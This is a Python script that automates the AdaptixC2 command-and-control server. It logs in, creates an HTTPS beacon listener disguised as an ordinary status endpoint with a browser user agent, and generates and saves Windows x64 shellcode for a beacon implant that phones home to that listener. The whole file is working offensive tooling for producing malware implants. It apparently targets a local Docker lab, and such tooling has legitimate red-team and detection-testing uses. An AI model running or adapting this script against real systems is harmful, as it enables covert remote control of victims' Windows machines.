#!/usr/bin/env python3
"""
Drive AdaptixC2 server REST API to:
1. Login
2. Create an HTTPS BeaconHTTP listener
3. Generate a Windows x64 raw-shellcode beacon
4. Save shellcode to disk
Run on the host AFTER `docker compose --profile runtime up -d` has started the server.
"""
import argparse
import base64
import json
import secrets
import string
import sys
import time
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_key(n: int = 32) -> str:
return "".join(secrets.choice("0123456789abcdef") for _ in range(n))
def wait_for_server(base: str, timeout: int = 60) -> None:
for _ in range(timeout):
try:
r = requests.get(base, verify=False, timeout=2)
if r.status_code in (200, 401, 404, 405):
return
except requests.RequestException:
pass
time.sleep(1)
raise SystemExit(f"[!] Server at {base} not reachable")
def login(base: str, user: str, password: str) -> str:
r = requests.post(
f"{base}/login",
json={"username": user, "password": password, "version": "v1.2"},
verify=False,
timeout=10,
)
r.raise_for_status()
return r.json()["access_token"]
def create_listener(base: str, headers: dict, name: str, callback_host: str, port: int) -> None:
cfg = {
"host_bind": "0.0.0.0",
"port_bind": port,
"callback_addresses": [f"{callback_host}:{port}"],
"encrypt_key": random_key(32),
"ssl": True,
"http_method": "POST",
"uri": ["/api/v1/status"],
"user_agent": ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"],
"hb_header": "X-Beacon-Id",
"host_header": [],
"request_headers": "",
"server_headers": "",
"x-forwarded-for": False,
"page-error": "
404404 Not Found",
"page-payload": '{"data":"<<>>"}',
}
r = requests.post(
f"{base}/listener/create",
headers=headers,
json={"name": name, "type": "BeaconHTTP", "config": json.dumps(cfg)},
verify=False,
timeout=15,
)
if r.status_code != 200:
# Ignore "already exists" - we may have run before
if "exist" in r.text.lower():
print(f"[*] Listener {name} already exists")
return
raise SystemExit(f"[!] create_listener failed: {r.status_code} {r.text}")
print(f"[+] Listener {name} created on :{port}")
def generate_beacon(base: str, headers: dict, listener_name: str, out_path: str) -> int:
agent_cfg = {
"os": "windows",
"arch": "x64",
"format": "Shellcode",
"sleep": "4s",
"jitter": 0,
"svcname": "",
"is_killdate": False,
"kill_date": "",
"kill_time": "",
"is_workingtime": False,
"start_time": "",
"end_time": "",
"iat_hiding": False,
"is_sideloading": False,
"sideloading_content": "",
"dns_resolvers": "",
"doh_resolvers": "",
"dns_mode": "",
"user_agent": "",
"use_proxy": False,
"proxy_type": "",
"proxy_host": "",
"proxy_port": 0,
"proxy_username": "",
"proxy_password": "",
"rotation_mode": "sequential",
}
r = requests.post(
f"{base}/agent/generate",
headers=headers,
json={
"listener_name": [listener_name],
"agent": "beacon",
"config": json.dumps(agent_cfg),
},
verify=False,
timeout=120,
)
if r.status_code != 200:
raise SystemExit(f"[!] agent/generate failed: {r.status_code} {r.text}")
body = r.json()
if not body.get("ok"):
raise SystemExit(f"[!] agent/generate not ok: {body}")
name_b64, bytes_b64 = body["message"].split(":")
fname = base64.b64decode(name_b64).decode()
data = base64.b64decode(bytes_b64)
with open(out_path, "wb") as f:
f.write(data)
print(f"[+] Beacon generated: server-name={fname}, saved={out_path}, size={len(data)} bytes")
return len(data)
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--server", default="https://127.0.0.1:4321/endpoint")
ap.add_argument("--username", default="op")
ap.add_argument("--password", default="pass")
ap.add_argument("--listener-name", default="zero-https")
ap.add_argument("--callback-host", default="host.docker.internal",
help="Where the beacon should phone home (reachable from the loader). On Windows host, use the host's LAN IP or host.docker.internal mapped via extra_hosts.")
ap.add_argument("--listener-port", type=int, default=8443)
ap.add_argument("--out", default="adaptix-shellcode.bin")
args = ap.parse_args()
wait_for_server(args.server)
token = login(args.server, args.username, args.password)
print(f"[+] Logged in, token len={len(token)}")
headers = {"Authorization": f"Bearer {token}"}
create_listener(args.server, headers, args.listener_name, args.callback_host, args.listener_port)
size = generate_beacon(args.server, headers, args.listener_name, args.out)
return 0 if size > 0 else 1
if __name__ == "__main__":
sys.exit(main())